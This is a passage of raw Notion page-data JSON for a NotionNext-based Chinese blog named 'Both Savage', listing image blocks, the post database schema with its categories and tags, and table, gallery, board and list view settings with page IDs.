3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png"]]},"format":{"block_width":144,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":1,"block_preserve_scale":true},"created_time":1705651441724,"last_edited_time":1705651474665,"parent_id":"9ee864a2-7d8f-4168-bee6-379f4bf4b09b","parent_table":"block","alive":true,"file_ids":["e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7"]}},"ec882307-59f6-4b1b-882e-1d900daaa086":{"value":{"id":"ec882307-59f6-4b1b-882e-1d900daaa086","type":"text","properties":{"title":[["\n",[["i"]]],["        是在往前走就好",[["i"],["b"]]],["\n        ",[["i"]]],["bothsavage.github.io",[["a","https://bothsavage.github.io/archive"],["i"]]],["\n",[["i"]]]]},"created_time":1705645240676,"last_edited_time":1705651754731,"parent_id":"05abb28a-ad68-45fa-a724-51a364a67d67","parent_table":"block","alive":true}},"2606f9d4-240f-4a91-8267-c2b28f18fe2e":{"value":{"id":"2606f9d4-240f-4a91-8267-c2b28f18fe2e","type":"image","properties":{"size":[["85.8KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png"]]},"format":{"block_width":288,"block_height":315,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.525,"block_preserve_scale":true},"created_time":1705645618198,"last_edited_time":1705646150617,"parent_id":"bdebad8d-342b-4e57-b82d-05d9b80dd49c","parent_table":"block","alive":true,"file_ids":["3436ffe0-3684-445a-824f-2fd9fa5ad2a6"]}},"b2451af8-069a-4880-92d0-f4d3162f67cd":{"value":{"id":"b2451af8-069a-4880-92d0-f4d3162f67cd","type":"text","created_time":1705646294092,"last_edited_time":1705646294092,"parent_id":"05abb28a-ad68-45fa-a724-51a364a67d67","parent_table":"block","alive":true}},"66217c67-4273-4621-a92c-816bc797538f":{"value":{"id":"66217c67-4273-4621-a92c-816bc797538f","type":"text","created_time":1705645162144,"last_edited_time":1705646258031,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"4379bc14-5d22-453b-a153-12639616fc01":{"value":{"id":"4379bc14-5d22-453b-a153-12639616fc01","version":684,"name":[["Notion Blog"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"Config"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/6c096b44-beb9-48ee-8f92-1efdde47f3a3/29db38d2-d5fa-4fa6-8a92-3b527cfe80d1/favicon.svg","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"8e7acf17-de09-4fa1-abde-b5b80ad4a813","table":"collection","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"06f53161-8c9a-4e9c-8109-a8bd142a7b06"}},"parent_id":"02ab3b86-7800-4aa6-9e9e-415905ef32a5","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","29db38d2-d5fa-4fa6-8a92-3b527cfe80d1"],"copied_from":"8e7acf17-de09-4fa1-abde-b5b80ad4a813","template_pages":["06f53161-8c9a-4e9c-8109-a8bd142a7b06"],"migrated":true,"space_id":"6c096b44-beb9-48ee-8f92-1efdde47f3a3","deleted_schema":{"\u003eVd?":{"name":"Last Edited Time","type":"last_edited_time"},"CXUG":{"name":"Property","type":"text"},"GKHK":{"name":"Created Time","type":"created_time"},"OcN|":{"name":"Property","type":"text"},"ag`\u003c":{"name":"realate","type":"text"},"ckw_":{"name":"Property","type":"last_edited_time"},"kiCR":{"name":"created_time","type":"created_time"},"uHoD":{"name":"last_edited_time","type":"last_edited_time"},"vk?@":{"name":"last_edited_time","type":"last_edited_time"}}},"role":"reader"}},"space":{},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":18,"type":"table","name":"Table","format":{"table_properties":[{"width":219,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":1,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":25,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"b7eb2157-2022-4ca5-827b-faa5ef82cf2d":{"value":{"id":"b7eb2157-2022-4ca5-827b-faa5ef82cf2d","version":217,"type":"table","name":"Table","format":{"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":219,"visible":true,"property":"title"},{"width":288,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":100,"visible":true,"property":"bB{M"},{"width":141,"visible":true,"property":"sD^m"},{"width":229,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"06f53161-8c9a-4e9c-8109-a8bd142a7b06"}},"parent_id":"02ab3b86-7800-4aa6-9e9e-415905ef32a5","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","8f4fe6b1-7a9e-43e0-bcfb-6edb50f10a62","571f2540-eb8a-42ee-84f5-85f1583430ae","f5dd304c-8c81-40dc-ba37-9c1d7399e15e","a6271da0-6b8f-47a3-9735-e8fa770f1d9f","4d7cafcd-57a4-4255-90c5-821a6f40dfe8","dc4f233c-5ec9-4ba8-b943-2e5e1f408ad6","db0e0da3-a27e-445c-9f69-9c95b33a52bc","4e12cb2c-d3f9-46aa-8e7e-c13084f7c79c","29fdb092-3dbf-4487-8f6b-6586958cfc67","87c18f9d-1c7e-47b0-89b9-fae9e38b6ce9","54ea2a2c-9b91-4457-8f20-d29ebe384529","21622ac5-95e6-455a-a91d-9d762a88963e","16500013-ac92-4537-9012-46d8ff7dae03","ce720858-10b7-4c0c-8083-906f29150a81","01cc4bd3-fe3b-456b-a08e-e961d83c7999","da988857-3ba9-4a63-9731-e849beb46705","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","b9e5afa7-db27-4aea-95fb-3fd5fcf81846","1e08ee78-d240-47cb-9d52-6a484b248543","0872b2f7-af7d-4f24-adf7-86f5d34dbc7b","18460a7c-3e63-4d7b-ad00-cf40ba77851c","0458d9a0-a64e-4837-bc75-f4a3f7853249","0ef279d4-d54a-4de3-9a5b-5603b461b586","f3550fb0-346c-4212-b57f-86433738b50b","de36fd0c-38fe-4b0c-b9d3-1c4389f599b2","bbeae7c7-f4ef-4f79-9c0d-6572636a9233","15a4fc06-381c-43a0-94f3-f89655b192da","55c03d34-3626-49d4-ac9d-6a455b2b6c93","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","1146ef63-aba8-4df5-a006-ba886ea87966","9057c4ad-2ef9-44a0-9bdd-c38daf735108","0bc55f01-2246-4cca-836d-266680bd9b5b","0bfc2813-a121-4fd1-a7bb-738f6357892c","d3a02583-75a2-402d-b0a1-4551c3837c7e","9e017f37-5917-4cda-afb8